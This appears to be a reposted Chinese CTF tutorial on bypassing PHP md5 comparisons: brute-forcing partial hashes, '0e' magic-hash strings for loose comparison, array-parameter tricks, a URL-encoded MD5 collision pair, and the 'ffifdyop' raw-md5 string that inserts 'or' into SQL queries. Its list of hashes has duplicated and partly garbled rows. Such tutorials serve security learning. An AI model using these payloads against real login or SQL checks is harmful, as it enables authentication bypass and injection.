参考文章:md5常见问题及绕过 - FreeBuf网络安全行业门户
MD5应用与CTF攻防:从弱类型比较到碰撞构造-CSDN博客
知识点
md5爆破
md5弱比较
md5强比较
md5函数漏洞(一般搭配sql注入)
DEMO-1 md5爆破
确定md5的部分字符,且明文为数字,爆破md5:
<?phpfor($i=0;$i<10000;$i++){ if(substr(md5($i),-6,6)=="5bcba3"){ echo$i; break; } } ?>
DEMO-2 md5弱比较
科学计数法绕过
原字符串 0e开头的md5
QNKCDZO
aabg7XSs
QNKCDZO 0e830400451993494058024219903391
2406107080e462097431906509019562988736854
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1502113478a 0e861580163291561247404381396064
数组绕过
a[]=a&b[]=b,传入参数为数组则MD5返回NULL,null=null,判断为true,成功绕过
Md5碰撞绕过
if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b']))
强碰撞用string强行转换成字符串,从而限制了数组绕过这方法,只能输入字符串。
将a.txt拖到fastcoll_v1.0.0.5.exe上,然后读a_msg1.txt和a_msg2.txt
fastcoll_v1.0.0.5.exe -p 0.txt -o 1.txt 2.txt
检测脚本check.php
`<?php
functionreadmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return$data;
}
echo'二进制md5加密 '. md5( (readmyfile("1.txt")));
echo"</br>";
echo'url编码 '. urlencode(readmyfile("1.txt"));
echo"</br>";
echo'二进制md5加密 '.md5( (readmyfile("2.txt")));
echo"</br>";
echo'url编码 '. urlencode(readmyfile("2.txt"));
echo"</br>";
?>
最终payload:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
DEMO-3 md5强比较
姿势(同上):
数组绕过
Md5碰撞绕过
DEMO-4 md5函数漏洞(配合sql注入)
漏洞产生原因:md5函数第二个参数为true时,返回16字符的二进制字节,可通过测试生成固定的payload造成漏洞
数字型:129581926211651571912466741651878684928
字符型:ffifdyop
<?php
$a=129581926211651571912466741651878684928;
$b="ffifdyop";
echomd5($a,true);
echo"<br>";
echomd5($b,true);?>
该payload出现or,可配合sql注入
原文始发于微信公众号(泷羽sec-心安):md5常见问题及绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论